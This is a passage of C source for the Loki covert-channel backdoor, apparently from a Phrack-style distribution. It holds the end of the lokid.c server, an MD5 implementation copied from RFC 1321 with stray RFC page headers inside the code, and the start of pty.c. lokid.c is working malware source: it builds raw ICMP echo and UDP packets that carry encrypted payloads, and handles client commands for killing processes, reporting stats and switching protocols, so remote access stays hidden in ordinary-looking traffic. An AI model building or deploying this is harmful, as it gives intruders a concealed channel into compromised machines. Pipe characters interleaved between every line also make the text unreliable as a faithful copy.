#ifdef STRONG_CRYPTO
|
|||
|
update_client(c_ind, p_sent, b_sent);
|
|||
|
#else
|
|||
|
update_client(locate_client(FIND), p_sent, b_sent);
|
|||
|
#endif
|
|||
|
clean_exit(0); /* exit the child after sending
|
|||
|
* the last packet
|
|||
|
*/
|
|||
|
#endif
|
|||
|
#ifdef PTY /* Not implemented yet */
|
|||
|
fprintf(stderr, "\nmfd: %d", mfd);
|
|||
|
#endif
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
* Build and transmit Loki packets (server-side version)
|
|||
|
*/
|
|||
|
|
|||
|
int lokid_xmit(u_char *payload, u_long dst, int ptype, int crypt_flag)
|
|||
|
{
|
|||
|
struct sockaddr_in sin;
|
|||
|
int i = 0;
|
|||
|
|
|||
|
bzero((struct loki *)&sdg, LOKIP_SIZE);
|
|||
|
|
|||
|
sin.sin_family = AF_INET;
|
|||
|
sin.sin_addr.s_addr = dst;
|
|||
|
sdg.payload[0] = ptype; /* set packet type */
|
|||
|
/* Do not encrypt error or public
|
|||
|
* key reply packets
|
|||
|
*/
|
|||
|
if (crypt_flag == OKCR) blur(ENCR, BUFSIZE - 1, payload);
|
|||
|
bcopy(payload, &sdg.payload[1], BUFSIZE - 1);
|
|||
|
|
|||
|
if (prot == IPPROTO_ICMP)
|
|||
|
{
|
|||
|
#ifdef NET3 /* Our workaround. */
|
|||
|
sdg.ttype.icmph.icmp_type = ICMP_ECHO;
|
|||
|
#else
|
|||
|
sdg.ttype.icmph.icmp_type = ICMP_ECHOREPLY;
|
|||
|
#endif
|
|||
|
sdg.ttype.icmph.icmp_code = (int)NULL;
|
|||
|
sdg.ttype.icmph.icmp_id = c_id; /* client ID */
|
|||
|
sdg.ttype.icmph.icmp_seq = L_TAG; /* Loki ID */
|
|||
|
sdg.ttype.icmph.icmp_cksum =
|
|||
|
i_check((u_short *)&sdg.ttype.icmph, BUFSIZE + ICMPH_SIZE);
|
|||
|
}
|
|||
|
if (prot == IPPROTO_UDP)
|
|||
|
{
|
|||
|
sdg.ttype.udph.uh_sport = NL_PORT;
|
|||
|
sdg.ttype.udph.uh_dport = rdg.ttype.udph.uh_sport;
|
|||
|
sdg.ttype.udph.uh_ulen = htons(UDPH_SIZE + BUFSIZE);
|
|||
|
sdg.ttype.udph.uh_sum =
|
|||
|
i_check((u_short *)&sdg.ttype.udph, BUFSIZE + UDPH_SIZE);
|
|||
|
}
|
|||
|
sdg.iph.ip_v = 0x4;
|
|||
|
sdg.iph.ip_hl = 0x5;
|
|||
|
sdg.iph.ip_len = FIX_LEN(LOKIP_SIZE);
|
|||
|
sdg.iph.ip_ttl = 0x40;
|
|||
|
sdg.iph.ip_p = prot;
|
|||
|
sdg.iph.ip_dst = sin.sin_addr.s_addr;
|
|||
|
|
|||
|
#ifdef SEND_PAUSE
|
|||
|
usleep(SEND_PAUSE);
|
|||
|
#endif
|
|||
|
if ((i = sendto(ripsock, (struct loki *)&sdg, LOKIP_SIZE, (int)NULL, (struct sockaddr *)&sin, sizeof(sin))) < LOKIP_SIZE)
|
|||
|
{
|
|||
|
if (verbose) perror("[non fatal] truncated write");
|
|||
|
}
|
|||
|
else
|
|||
|
{ /* Update global stats */
|
|||
|
b_sent += i;
|
|||
|
p_sent ++;
|
|||
|
}
|
|||
|
return ((i < 0 ? 0 : i)); /* Make snocrash happy (return bytes written,
|
|||
|
* or return 0 if there was an error)
|
|||
|
*/
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
* Parse escaped commands (server-side version)
|
|||
|
*/
|
|||
|
|
|||
|
void d_parse(u_char *buf, pid_t pid, int ripsock)
|
|||
|
{
|
|||
|
u_char buf2[4 * BUFSIZE] = {0};
|
|||
|
int n = 0, m = 0;
|
|||
|
u_long client_ip = 0;
|
|||
|
/* client request for an all kill */
|
|||
|
if (!strncmp(buf, QUIT_ALL, sizeof(QUIT_ALL) - 1))
|
|||
|
{
|
|||
|
if (verbose) fprintf(stderr, "\nlokid: client <%d> requested an all kill\n", c_id);
|
|||
|
while (n < MAX_CLIENT) /* send notification to all clients */
|
|||
|
{
|
|||
|
if ((client_ip = check_client_ip(n++, &c_id)))
|
|||
|
{
|
|||
|
if (verbose) fprintf(stderr, "\tsending L_QUIT: <%d> %s\n", c_id, host_lookup(client_ip));
|
|||
|
lokid_xmit(buf, client_ip, L_QUIT, NOCR);
|
|||
|
}
|
|||
|
}
|
|||
|
if (verbose) fprintf(stderr, S_MSG_CLIENTK);
|
|||
|
/* send a SIGKILL to all the processes
|
|||
|
* in the servers group...
|
|||
|
*/
|
|||
|
if ((kill(-pid, SIGKILL)) == -1)
|
|||
|
err_exit(1, 1, verbose, "[fatal] could not signal process group");
|
|||
|
clean_exit(0);
|
|||
|
}
|
|||
|
/* client is exited, remove entry
|
|||
|
* from the client list
|
|||
|
*/
|
|||
|
if (!strncmp(buf, QUIT_C, sizeof(QUIT_C) - 1))
|
|||
|
{
|
|||
|
if ((m = locate_client(DESTROY)) == -1)
|
|||
|
err_exit(1, 0, verbose, S_MSG_UNKNOWN);
|
|||
|
else if (verbose) fprintf(stderr, "\nlokid: client <%d> freed from list [%d]", c_id, m);
|
|||
|
clean_exit(0);
|
|||
|
}
|
|||
|
/* stat request */
|
|||
|
if (!strncmp(buf, STAT_C, sizeof(STAT_C) - 1))
|
|||
|
{
|
|||
|
bzero((u_char *)buf2, 4 * BUFSIZE);
|
|||
|
/* Ok. This is an ugly hack to keep
|
|||
|
* packet counts in sync with the
|
|||
|
* stat request. We know the amount
|
|||
|
* of packets we are going to send (and
|
|||
|
* therefore the byte count) in advance
|
|||
|
* so we can preload the values.
|
|||
|
*/
|
|||
|
update_client(locate_client(FIND), 5, 5 * LOKIP_SIZE);
|
|||
|
n = stat_client(locate_client(FIND), buf2, prot, uptime);
|
|||
|
/* breakdown payload into BUFSIZE-1
|
|||
|
* chunks, suitable for transmission
|
|||
|
*/
|
|||
|
for (; m < n; m += (BUFSIZE - 1))
|
|||
|
{
|
|||
|
bcopy(&buf2[m], buf, BUFSIZE - 1);
|
|||
|
lokid_xmit(buf, LP_DST, L_REPLY, OKCR);
|
|||
|
}
|
|||
|
lokid_xmit(buf, LP_DST, L_EOT, OKCR);
|
|||
|
clean_exit(0); /* exit the child after sending
|
|||
|
* the last packet
|
|||
|
*/
|
|||
|
}
|
|||
|
#ifndef STRONG_CRYPTO /* signal parent to change protocols */
|
|||
|
if (!strncmp(buf, SWAP_T, sizeof(SWAP_T) - 1))
|
|||
|
{
|
|||
|
if (kill(getppid(), SIGUSR1))
|
|||
|
err_exit(1, 1, verbose, "[fatal] could not signal parent");
|
|||
|
clean_exit(0);
|
|||
|
}
|
|||
|
#endif
|
|||
|
/* unsupport/unrecognized command */
|
|||
|
lokid_xmit(S_MSG_UNSUP, LP_DST, L_REPLY, OKCR);
|
|||
|
lokid_xmit(buf2, LP_DST, L_EOT, OKCR);
|
|||
|
|
|||
|
update_client(locate_client(FIND), p_sent, b_sent);
|
|||
|
clean_exit(0);
|
|||
|
}
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
* Swap transport protocols. This is called as a result of SIGUSR1 from
|
|||
|
* a child server process.
|
|||
|
*/
|
|||
|
|
|||
|
|
|||
|
void swap_t(int signo)
|
|||
|
{
|
|||
|
|
|||
|
int n = 0;
|
|||
|
u_long client_ip = 0;
|
|||
|
struct protoent *pprot = 0;
|
|||
|
char buf[BUFSIZE] = {0};
|
|||
|
|
|||
|
if (verbose) fprintf(stderr, "\nlokid: client <%d> requested a protocol swap\n", c_id);
|
|||
|
|
|||
|
while (n < MAX_CLIENT)
|
|||
|
{
|
|||
|
if ((client_ip = check_client_ip(n++, &c_id)))
|
|||
|
{
|
|||
|
fprintf(stderr, "\tsending protocol update: <%d> %s [%d]\n", c_id, host_lookup(client_ip), n);
|
|||
|
lokid_xmit(buf, client_ip, L_REPLY, OKCR);
|
|||
|
lokid_xmit(buf, client_ip, L_EOT, OKCR);
|
|||
|
/* update_client(locate_client(FIND), p_sent, b_sent);*/
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
close(tsock);
|
|||
|
|
|||
|
prot = (prot == IPPROTO_UDP) ? IPPROTO_ICMP : IPPROTO_UDP;
|
|||
|
if ((tsock = socket(AF_INET, SOCK_RAW, prot)) < 0)
|
|||
|
err_exit(1, 1, verbose, L_MSG_SOCKET);
|
|||
|
pprot = getprotobynumber(prot);
|
|||
|
sprintf(buf, "lokid: transport protocol changed to %s\n", pprot -> p_name);
|
|||
|
fprintf(stderr, "\n%s", buf);
|
|||
|
|
|||
|
lokid_xmit(buf, LP_DST, L_REPLY, OKCR);
|
|||
|
lokid_xmit(buf, LP_DST, L_EOT, OKCR);
|
|||
|
update_client(locate_client(FIND), p_sent, b_sent);
|
|||
|
/* re-establish signal handler */
|
|||
|
if (signal(SIGUSR1, swap_t) == SIG_ERR)
|
|||
|
err_exit(1, 1, verbose, L_MSG_SIGUSR1);
|
|||
|
}
|
|||
|
|
|||
|
/* EOF */
|
|||
|
<--> lokid.c
|
|||
|
<++> L2/md5/Makefile
|
|||
|
# Makefile for MD5 from rfc1321 code
|
|||
|
|
|||
|
CCF = -O -DMD=5
|
|||
|
|
|||
|
md5c.o: md5.h global.h
|
|||
|
gcc $(CCF) -c md5c.c
|
|||
|
|
|||
|
clean:
|
|||
|
rm -f *.o core
|
|||
|
<--> md5/Makefile
|
|||
|
<++> L2/md5/global.h
|
|||
|
/* GLOBAL.H - RSAREF types and constants
|
|||
|
*/
|
|||
|
|
|||
|
/* PROTOTYPES should be set to one if and only if the compiler supports
|
|||
|
function argument prototyping.
|
|||
|
The following makes PROTOTYPES default to 0 if it has not already
|
|||
|
|
|||
|
|
|||
|
|
|||
|
Rivest [Page 7]
|
|||
|
|
|||
|
RFC 1321 MD5 Message-Digest Algorithm April 1992
|
|||
|
|
|||
|
|
|||
|
been defined with C compiler flags.
|
|||
|
*/
|
|||
|
#ifndef PROTOTYPES
|
|||
|
#define PROTOTYPES 0
|
|||
|
#endif
|
|||
|
|
|||
|
/* POINTER defines a generic pointer type */
|
|||
|
typedef unsigned char *POINTER;
|
|||
|
|
|||
|
/* UINT2 defines a two byte word */
|
|||
|
typedef unsigned short int UINT2;
|
|||
|
|
|||
|
/* UINT4 defines a four byte word */
|
|||
|
typedef unsigned long int UINT4;
|
|||
|
|
|||
|
/* PROTO_LIST is defined depending on how PROTOTYPES is defined above.
|
|||
|
If using PROTOTYPES, then PROTO_LIST returns the list, otherwise it
|
|||
|
returns an empty list.
|
|||
|
*/
|
|||
|
#if PROTOTYPES
|
|||
|
#define PROTO_LIST(list) list
|
|||
|
#else
|
|||
|
#define PROTO_LIST(list) ()
|
|||
|
#endif
|
|||
|
<--> md5/global.h
|
|||
|
<++> L2/md5/md5.h
|
|||
|
/* MD5.H - header file for MD5C.C
|
|||
|
*/
|
|||
|
|
|||
|
/* Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All
|
|||
|
rights reserved.
|
|||
|
|
|||
|
License to copy and use this software is granted provided that it
|
|||
|
is identified as the "RSA Data Security, Inc. MD5 Message-Digest
|
|||
|
Algorithm" in all material mentioning or referencing this software
|
|||
|
or this function.
|
|||
|
|
|||
|
License is also granted to make and use derivative works provided
|
|||
|
that such works are identified as "derived from the RSA Data
|
|||
|
Security, Inc. MD5 Message-Digest Algorithm" in all material
|
|||
|
mentioning or referencing the derived work.
|
|||
|
|
|||
|
RSA Data Security, Inc. makes no representations concerning either
|
|||
|
the merchantability of this software or the suitability of this
|
|||
|
software for any particular purpose. It is provided "as is"
|
|||
|
without express or implied warranty of any kind.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
Rivest [Page 8]
|
|||
|
|
|||
|
RFC 1321 MD5 Message-Digest Algorithm April 1992
|
|||
|
|
|||
|
|
|||
|
These notices must be retained in any copies of any part of this
|
|||
|
documentation and/or software.
|
|||
|
*/
|
|||
|
|
|||
|
#define MD5_HASHSIZE 16
|
|||
|
|
|||
|
/* MD5 context. */
|
|||
|
typedef struct {
|
|||
|
UINT4 state[4]; /* state (ABCD) */
|
|||
|
UINT4 count[2]; /* number of bits, modulo 2^64 (lsb first) */
|
|||
|
unsigned char buffer[64]; /* input buffer */
|
|||
|
} MD5_CTX;
|
|||
|
|
|||
|
void MD5Init PROTO_LIST ((MD5_CTX *));
|
|||
|
void MD5Update PROTO_LIST
|
|||
|
((MD5_CTX *, unsigned char *, unsigned int));
|
|||
|
void MD5Final PROTO_LIST ((unsigned char [16], MD5_CTX *));
|
|||
|
<--> md5/md5.h
|
|||
|
<++> L2/md5/md5c.c
|
|||
|
/* MD5C.C - RSA Data Security, Inc., MD5 message-digest algorithm
|
|||
|
*/
|
|||
|
|
|||
|
/* Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All
|
|||
|
rights reserved.
|
|||
|
|
|||
|
License to copy and use this software is granted provided that it
|
|||
|
is identified as the "RSA Data Security, Inc. MD5 Message-Digest
|
|||
|
Algorithm" in all material mentioning or referencing this software
|
|||
|
or this function.
|
|||
|
|
|||
|
License is also granted to make and use derivative works provided
|
|||
|
that such works are identified as "derived from the RSA Data
|
|||
|
Security, Inc. MD5 Message-Digest Algorithm" in all material
|
|||
|
mentioning or referencing the derived work.
|
|||
|
|
|||
|
RSA Data Security, Inc. makes no representations concerning either
|
|||
|
the merchantability of this software or the suitability of this
|
|||
|
software for any particular purpose. It is provided "as is"
|
|||
|
without express or implied warranty of any kind.
|
|||
|
|
|||
|
These notices must be retained in any copies of any part of this
|
|||
|
documentation and/or software.
|
|||
|
*/
|
|||
|
|
|||
|
#include "global.h"
|
|||
|
#include "md5.h"
|
|||
|
|
|||
|
/* Constants for MD5Transform routine.
|
|||
|
*/
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
Rivest [Page 9]
|
|||
|
|
|||
|
RFC 1321 MD5 Message-Digest Algorithm April 1992
|
|||
|
*/
|
|||
|
|
|||
|
#define S11 7
|
|||
|
#define S12 12
|
|||
|
#define S13 17
|
|||
|
#define S14 22
|
|||
|
#define S21 5
|
|||
|
#define S22 9
|
|||
|
#define S23 14
|
|||
|
#define S24 20
|
|||
|
#define S31 4
|
|||
|
#define S32 11
|
|||
|
#define S33 16
|
|||
|
#define S34 23
|
|||
|
#define S41 6
|
|||
|
#define S42 10
|
|||
|
#define S43 15
|
|||
|
#define S44 21
|
|||
|
|
|||
|
static void MD5Transform PROTO_LIST ((UINT4 [4], unsigned char [64]));
|
|||
|
static void Encode PROTO_LIST
|
|||
|
((unsigned char *, UINT4 *, unsigned int));
|
|||
|
static void Decode PROTO_LIST
|
|||
|
((UINT4 *, unsigned char *, unsigned int));
|
|||
|
static void MD5_memcpy PROTO_LIST ((POINTER, POINTER, unsigned int));
|
|||
|
static void MD5_memset PROTO_LIST ((POINTER, int, unsigned int));
|
|||
|
|
|||
|
static unsigned char PADDING[64] = {
|
|||
|
0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
|||
|
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
|
|||
|
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
|
|||
|
};
|
|||
|
|
|||
|
/* F, G, H and I are basic MD5 functions.
|
|||
|
*/
|
|||
|
#define F(x, y, z) (((x) & (y)) | ((~x) & (z)))
|
|||
|
#define G(x, y, z) (((x) & (z)) | ((y) & (~z)))
|
|||
|
#define H(x, y, z) ((x) ^ (y) ^ (z))
|
|||
|
#define I(x, y, z) ((y) ^ ((x) | (~z)))
|
|||
|
|
|||
|
/* ROTATE_LEFT rotates x left n bits.
|
|||
|
*/
|
|||
|
#define ROTATE_LEFT(x, n) (((x) << (n)) | ((x) >> (32-(n))))
|
|||
|
|
|||
|
/* FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4.
|
|||
|
Rotation is separate from addition to prevent recomputation.
|
|||
|
*/
|
|||
|
#define FF(a, b, c, d, x, s, ac) { \
|
|||
|
(a) += F ((b), (c), (d)) + (x) + (UINT4)(ac); \
|
|||
|
(a) = ROTATE_LEFT ((a), (s)); \
|
|||
|
(a) += (b); \
|
|||
|
}
|
|||
|
#define GG(a, b, c, d, x, s, ac) { \
|
|||
|
(a) += G ((b), (c), (d)) + (x) + (UINT4)(ac); \
|
|||
|
(a) = ROTATE_LEFT ((a), (s)); \
|
|||
|
(a) += (b); \
|
|||
|
}
|
|||
|
#define HH(a, b, c, d, x, s, ac) { \
|
|||
|
(a) += H ((b), (c), (d)) + (x) + (UINT4)(ac); \
|
|||
|
(a) = ROTATE_LEFT ((a), (s)); \
|
|||
|
(a) += (b); \
|
|||
|
}
|
|||
|
#define II(a, b, c, d, x, s, ac) { \
|
|||
|
(a) += I ((b), (c), (d)) + (x) + (UINT4)(ac); \
|
|||
|
(a) = ROTATE_LEFT ((a), (s)); \
|
|||
|
(a) += (b); \
|
|||
|
}
|
|||
|
|
|||
|
/* MD5 initialization. Begins an MD5 operation, writing a new context.
|
|||
|
*/
|
|||
|
void MD5Init (context)
|
|||
|
MD5_CTX *context; /* context */
|
|||
|
{
|
|||
|
context->count[0] = context->count[1] = 0;
|
|||
|
/* Load magic initialization constants.
|
|||
|
*/
|
|||
|
context->state[0] = 0x67452301;
|
|||
|
context->state[1] = 0xefcdab89;
|
|||
|
context->state[2] = 0x98badcfe;
|
|||
|
context->state[3] = 0x10325476;
|
|||
|
}
|
|||
|
|
|||
|
/* MD5 block update operation. Continues an MD5 message-digest
|
|||
|
operation, processing another message block, and updating the
|
|||
|
context.
|
|||
|
*/
|
|||
|
void MD5Update (context, input, inputLen)
|
|||
|
MD5_CTX *context; /* context */
|
|||
|
unsigned char *input; /* input block */
|
|||
|
unsigned int inputLen; /* length of input block */
|
|||
|
{
|
|||
|
unsigned int i, index, partLen;
|
|||
|
|
|||
|
/* Compute number of bytes mod 64 */
|
|||
|
index = (unsigned int)((context->count[0] >> 3) & 0x3F);
|
|||
|
|
|||
|
/* Update number of bits */
|
|||
|
if ((context->count[0] += ((UINT4)inputLen << 3))
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
Rivest [Page 11]
|
|||
|
|
|||
|
RFC 1321 MD5 Message-Digest Algorithm April 1992
|
|||
|
*/
|
|||
|
|
|||
|
< ((UINT4)inputLen << 3))
|
|||
|
context->count[1]++;
|
|||
|
context->count[1] += ((UINT4)inputLen >> 29);
|
|||
|
|
|||
|
partLen = 64 - index;
|
|||
|
|
|||
|
/* Transform as many times as possible.
|
|||
|
*/
|
|||
|
if (inputLen >= partLen) {
|
|||
|
MD5_memcpy
|
|||
|
((POINTER)&context->buffer[index], (POINTER)input, partLen);
|
|||
|
MD5Transform (context->state, context->buffer);
|
|||
|
|
|||
|
for (i = partLen; i + 63 < inputLen; i += 64)
|
|||
|
MD5Transform (context->state, &input[i]);
|
|||
|
|
|||
|
index = 0;
|
|||
|
}
|
|||
|
else
|
|||
|
i = 0;
|
|||
|
|
|||
|
/* Buffer remaining input */
|
|||
|
MD5_memcpy
|
|||
|
((POINTER)&context->buffer[index], (POINTER)&input[i],
|
|||
|
inputLen-i);
|
|||
|
}
|
|||
|
|
|||
|
/* MD5 finalization. Ends an MD5 message-digest operation, writing the
|
|||
|
the message digest and zeroizing the context.
|
|||
|
*/
|
|||
|
void MD5Final (digest, context)
|
|||
|
unsigned char digest[16]; /* message digest */
|
|||
|
MD5_CTX *context; /* context */
|
|||
|
{
|
|||
|
unsigned char bits[8];
|
|||
|
unsigned int index, padLen;
|
|||
|
|
|||
|
/* Save number of bits */
|
|||
|
Encode (bits, context->count, 8);
|
|||
|
|
|||
|
/* Pad out to 56 mod 64.
|
|||
|
*/
|
|||
|
index = (unsigned int)((context->count[0] >> 3) & 0x3f);
|
|||
|
padLen = (index < 56) ? (56 - index) : (120 - index);
|
|||
|
MD5Update (context, PADDING, padLen);
|
|||
|
|
|||
|
/* Append length (before padding) */
|
|||
|
MD5Update (context, bits, 8);
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
Rivest [Page 12]
|
|||
|
|
|||
|
RFC 1321 MD5 Message-Digest Algorithm April 1992
|
|||
|
*/
|
|||
|
|
|||
|
/* Store state in digest */
|
|||
|
Encode (digest, context->state, 16);
|
|||
|
|
|||
|
/* Zeroize sensitive information.
|
|||
|
*/
|
|||
|
MD5_memset ((POINTER)context, 0, sizeof (*context));
|
|||
|
}
|
|||
|
|
|||
|
/* MD5 basic transformation. Transforms state based on block.
|
|||
|
*/
|
|||
|
static void MD5Transform (state, block)
|
|||
|
UINT4 state[4];
|
|||
|
unsigned char block[64];
|
|||
|
{
|
|||
|
UINT4 a = state[0], b = state[1], c = state[2], d = state[3], x[16];
|
|||
|
|
|||
|
Decode (x, block, 64);
|
|||
|
|
|||
|
/* Round 1 */
|
|||
|
FF (a, b, c, d, x[ 0], S11, 0xd76aa478); /* 1 */
|
|||
|
FF (d, a, b, c, x[ 1], S12, 0xe8c7b756); /* 2 */
|
|||
|
FF (c, d, a, b, x[ 2], S13, 0x242070db); /* 3 */
|
|||
|
FF (b, c, d, a, x[ 3], S14, 0xc1bdceee); /* 4 */
|
|||
|
FF (a, b, c, d, x[ 4], S11, 0xf57c0faf); /* 5 */
|
|||
|
FF (d, a, b, c, x[ 5], S12, 0x4787c62a); /* 6 */
|
|||
|
FF (c, d, a, b, x[ 6], S13, 0xa8304613); /* 7 */
|
|||
|
FF (b, c, d, a, x[ 7], S14, 0xfd469501); /* 8 */
|
|||
|
FF (a, b, c, d, x[ 8], S11, 0x698098d8); /* 9 */
|
|||
|
FF (d, a, b, c, x[ 9], S12, 0x8b44f7af); /* 10 */
|
|||
|
FF (c, d, a, b, x[10], S13, 0xffff5bb1); /* 11 */
|
|||
|
FF (b, c, d, a, x[11], S14, 0x895cd7be); /* 12 */
|
|||
|
FF (a, b, c, d, x[12], S11, 0x6b901122); /* 13 */
|
|||
|
FF (d, a, b, c, x[13], S12, 0xfd987193); /* 14 */
|
|||
|
FF (c, d, a, b, x[14], S13, 0xa679438e); /* 15 */
|
|||
|
FF (b, c, d, a, x[15], S14, 0x49b40821); /* 16 */
|
|||
|
|
|||
|
/* Round 2 */
|
|||
|
GG (a, b, c, d, x[ 1], S21, 0xf61e2562); /* 17 */
|
|||
|
GG (d, a, b, c, x[ 6], S22, 0xc040b340); /* 18 */
|
|||
|
GG (c, d, a, b, x[11], S23, 0x265e5a51); /* 19 */
|
|||
|
GG (b, c, d, a, x[ 0], S24, 0xe9b6c7aa); /* 20 */
|
|||
|
GG (a, b, c, d, x[ 5], S21, 0xd62f105d); /* 21 */
|
|||
|
GG (d, a, b, c, x[10], S22, 0x2441453); /* 22 */
|
|||
|
GG (c, d, a, b, x[15], S23, 0xd8a1e681); /* 23 */
|
|||
|
GG (b, c, d, a, x[ 4], S24, 0xe7d3fbc8); /* 24 */
|
|||
|
GG (a, b, c, d, x[ 9], S21, 0x21e1cde6); /* 25 */
|
|||
|
GG (d, a, b, c, x[14], S22, 0xc33707d6); /* 26 */
|
|||
|
GG (c, d, a, b, x[ 3], S23, 0xf4d50d87); /* 27 */
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
Rivest [Page 13]
|
|||
|
|
|||
|
RFC 1321 MD5 Message-Digest Algorithm April 1992
|
|||
|
*/
|
|||
|
|
|||
|
GG (b, c, d, a, x[ 8], S24, 0x455a14ed); /* 28 */
|
|||
|
GG (a, b, c, d, x[13], S21, 0xa9e3e905); /* 29 */
|
|||
|
GG (d, a, b, c, x[ 2], S22, 0xfcefa3f8); /* 30 */
|
|||
|
GG (c, d, a, b, x[ 7], S23, 0x676f02d9); /* 31 */
|
|||
|
GG (b, c, d, a, x[12], S24, 0x8d2a4c8a); /* 32 */
|
|||
|
|
|||
|
/* Round 3 */
|
|||
|
HH (a, b, c, d, x[ 5], S31, 0xfffa3942); /* 33 */
|
|||
|
HH (d, a, b, c, x[ 8], S32, 0x8771f681); /* 34 */
|
|||
|
HH (c, d, a, b, x[11], S33, 0x6d9d6122); /* 35 */
|
|||
|
HH (b, c, d, a, x[14], S34, 0xfde5380c); /* 36 */
|
|||
|
HH (a, b, c, d, x[ 1], S31, 0xa4beea44); /* 37 */
|
|||
|
HH (d, a, b, c, x[ 4], S32, 0x4bdecfa9); /* 38 */
|
|||
|
HH (c, d, a, b, x[ 7], S33, 0xf6bb4b60); /* 39 */
|
|||
|
HH (b, c, d, a, x[10], S34, 0xbebfbc70); /* 40 */
|
|||
|
HH (a, b, c, d, x[13], S31, 0x289b7ec6); /* 41 */
|
|||
|
HH (d, a, b, c, x[ 0], S32, 0xeaa127fa); /* 42 */
|
|||
|
HH (c, d, a, b, x[ 3], S33, 0xd4ef3085); /* 43 */
|
|||
|
HH (b, c, d, a, x[ 6], S34, 0x4881d05); /* 44 */
|
|||
|
HH (a, b, c, d, x[ 9], S31, 0xd9d4d039); /* 45 */
|
|||
|
HH (d, a, b, c, x[12], S32, 0xe6db99e5); /* 46 */
|
|||
|
HH (c, d, a, b, x[15], S33, 0x1fa27cf8); /* 47 */
|
|||
|
HH (b, c, d, a, x[ 2], S34, 0xc4ac5665); /* 48 */
|
|||
|
|
|||
|
/* Round 4 */
|
|||
|
II (a, b, c, d, x[ 0], S41, 0xf4292244); /* 49 */
|
|||
|
II (d, a, b, c, x[ 7], S42, 0x432aff97); /* 50 */
|
|||
|
II (c, d, a, b, x[14], S43, 0xab9423a7); /* 51 */
|
|||
|
II (b, c, d, a, x[ 5], S44, 0xfc93a039); /* 52 */
|
|||
|
II (a, b, c, d, x[12], S41, 0x655b59c3); /* 53 */
|
|||
|
II (d, a, b, c, x[ 3], S42, 0x8f0ccc92); /* 54 */
|
|||
|
II (c, d, a, b, x[10], S43, 0xffeff47d); /* 55 */
|
|||
|
II (b, c, d, a, x[ 1], S44, 0x85845dd1); /* 56 */
|
|||
|
II (a, b, c, d, x[ 8], S41, 0x6fa87e4f); /* 57 */
|
|||
|
II (d, a, b, c, x[15], S42, 0xfe2ce6e0); /* 58 */
|
|||
|
II (c, d, a, b, x[ 6], S43, 0xa3014314); /* 59 */
|
|||
|
II (b, c, d, a, x[13], S44, 0x4e0811a1); /* 60 */
|
|||
|
II (a, b, c, d, x[ 4], S41, 0xf7537e82); /* 61 */
|
|||
|
II (d, a, b, c, x[11], S42, 0xbd3af235); /* 62 */
|
|||
|
II (c, d, a, b, x[ 2], S43, 0x2ad7d2bb); /* 63 */
|
|||
|
II (b, c, d, a, x[ 9], S44, 0xeb86d391); /* 64 */
|
|||
|
|
|||
|
state[0] += a;
|
|||
|
state[1] += b;
|
|||
|
state[2] += c;
|
|||
|
state[3] += d;
|
|||
|
|
|||
|
/* Zeroize sensitive information.
|
|||
|
|
|||
|
|
|||
|
Rivest [Page 14]
|
|||
|
|
|||
|
RFC 1321 MD5 Message-Digest Algorithm April 1992
|
|||
|
|
|||
|
*/
|
|||
|
MD5_memset ((POINTER)x, 0, sizeof (x));
|
|||
|
}
|
|||
|
|
|||
|
/* Encodes input (UINT4) into output (unsigned char). Assumes len is
|
|||
|
a multiple of 4.
|
|||
|
*/
|
|||
|
static void Encode (output, input, len)
|
|||
|
unsigned char *output;
|
|||
|
UINT4 *input;
|
|||
|
unsigned int len;
|
|||
|
{
|
|||
|
unsigned int i, j;
|
|||
|
|
|||
|
for (i = 0, j = 0; j < len; i++, j += 4) {
|
|||
|
output[j] = (unsigned char)(input[i] & 0xff);
|
|||
|
output[j+1] = (unsigned char)((input[i] >> 8) & 0xff);
|
|||
|
output[j+2] = (unsigned char)((input[i] >> 16) & 0xff);
|
|||
|
output[j+3] = (unsigned char)((input[i] >> 24) & 0xff);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
/* Decodes input (unsigned char) into output (UINT4). Assumes len is
|
|||
|
a multiple of 4.
|
|||
|
*/
|
|||
|
static void Decode (output, input, len)
|
|||
|
UINT4 *output;
|
|||
|
unsigned char *input;
|
|||
|
unsigned int len;
|
|||
|
{
|
|||
|
unsigned int i, j;
|
|||
|
|
|||
|
for (i = 0, j = 0; j < len; i++, j += 4)
|
|||
|
output[i] = ((UINT4)input[j]) | (((UINT4)input[j+1]) << 8) |
|
|||
|
(((UINT4)input[j+2]) << 16) | (((UINT4)input[j+3]) << 24);
|
|||
|
}
|
|||
|
|
|||
|
/* Note: Replace "for loop" with standard memcpy if possible.
|
|||
|
*/
|
|||
|
|
|||
|
static void MD5_memcpy (output, input, len)
|
|||
|
POINTER output;
|
|||
|
POINTER input;
|
|||
|
unsigned int len;
|
|||
|
{
|
|||
|
unsigned int i;
|
|||
|
|
|||
|
for (i = 0; i < len; i++)
|
|||
|
|
|||
|
|
|||
|
/*
|
|||
|
Rivest [Page 15]
|
|||
|
|
|||
|
RFC 1321 MD5 Message-Digest Algorithm April 1992
|
|||
|
*/
|
|||
|
|
|||
|
output[i] = input[i];
|
|||
|
}
|
|||
|
|
|||
|
/* Note: Replace "for loop" with standard memset if possible.
|
|||
|
*/
|
|||
|
static void MD5_memset (output, value, len)
|
|||
|
POINTER output;
|
|||
|
int value;
|
|||
|
unsigned int len;
|
|||
|
{
|
|||
|
unsigned int i;
|
|||
|
|
|||
|
for (i = 0; i < len; i++)
|
|||
|
((char *)output)[i] = (char)value;
|
|||
|
}
|
|||
|
<--> md5/md5c.c
|
|||
|
<++> L2/pty.c
|
|||
|
/*
|
|||
|
* LOKI
|
|||
|
*
|
|||
|
* [ pty.c ]
|
|||
|
*
|
|||
|
